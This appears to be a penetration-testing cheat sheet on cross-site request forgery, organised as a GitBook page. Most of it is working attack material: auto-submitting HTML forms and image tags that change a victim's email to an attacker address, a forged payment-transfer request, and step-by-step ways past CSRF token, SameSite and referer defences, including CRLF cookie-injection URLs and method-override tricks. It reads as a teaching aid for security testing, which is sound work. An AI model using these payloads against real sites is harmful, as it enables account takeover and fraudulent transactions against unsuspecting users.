CSRF

Cross Site Request Forgery

Conditions needed

  • A relevant action. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password)

  • Cookie-based session handling.

  • No unpredictable request parameters. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

Account Takeover

  • Create an account as an attacker and fill all the form, check your info in the Account Detail.

  • Change the email and capture the request, then created a CSRF Exploit.

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

CSRF POST PoC

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

GET request PoC:

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

Also try with "Reset Password"

CSRF With Burp

right-click context menu, select Engagement tools / Generate CSRF PoC.

Bypass CSRF Protection

Bypass CSRF Token - GET Method

Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

Switch to the GET method to bypass the validation and deliver a CSRF attack

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
<form action="https://vulnerable.net/my-account/change-email">
    <input type="hidden" name="email" value="anything%40test.net">
</form>
<script>
        document.forms[0].submit();
</script>

Bypass CSRF Token - Omit the token

Some applications correctly validate the token when it is present but skip the validation if the token is omitted.

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net

Bypass CSRF Token - Null token

Try to send csrftoken=null or csrftoken=%00

Also try to fuzz from %00 to %ff

Bypass CSRF Token - Use the token of another user

Some applications do not validate that the token belongs to the same session as the user who is making the request

Log in to the application using your own account, obtain a valid token, and then feed that token to the victim user in your CSRF attack

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=victim@normal-user.com

Log in to the application using your own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place your cookie into the victim's browser, and feed your token to the victim in your CSRF attack.

Create a URL that uses this vulnerability to inject your csrfKey cookie into the victim's browser:

/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None

Create a PoC, ensuring that you include your CSRF token. Remove the auto-submit <script> block, and instead add the following code to inject the cookie

<img src="https://vulnerable.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">

The application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie.

Invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place your cookie into the victim's browser, and feed your token to the victim in your CSRF attack.

Create a URL that uses this vulnerability to inject your csrfKey cookie into the victim's browser:

/?search=test%0d%0aSet-Cookie:%20csrfKey=fake%3b%20SameSite=None

Create a PoC, ensuring that you include your CSRF token. Remove the auto-submit <script> block, and instead add the following code to inject the cookie

<img src="https://vulnerable.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>

If they also use Lax restrictions for their session cookies, either explicitly or due to the browser default, you may still be able to perform a CSRF attack by eliciting a GET request from the victim's browser.

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Try overriding the method by adding the _method parameter to the query string:

GET /my-account/change-email?email=foo%40test.net&_method=POST HTTP/1.1
<script>
    document.location = "https://vulnerable.net/my-account/change-email?email=pwned@test.net&_method=POST";
</script>

Look for a gadget that results in a secondary request within the same site.

One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters

<script>
    document.location = "https://vulnerable.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40test.net%26submit=1";
</script>

Bypass referer-based CSRF defenses

1th method

Drop the referer header in your poc. Include the following code in your PoC:

<meta name="referrer" content="never">

2nd method

Alter the referer URL

http://vulnerable-website.com.attacker-website.com/csrf-attack

http://attacker-website.com/csrf-attack?vulnerable-website.com

Edit the PoC JavaScript so that the third argument of the history.pushState() function includes a query string with your lab instance URL as follows:

history.pushState("", "", "/?vulnerable.net")

This will cause the Referer header in the generated request to contain the URL of the target site in the query string, just like we tested earlier.

Tool

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

Resources

Last updated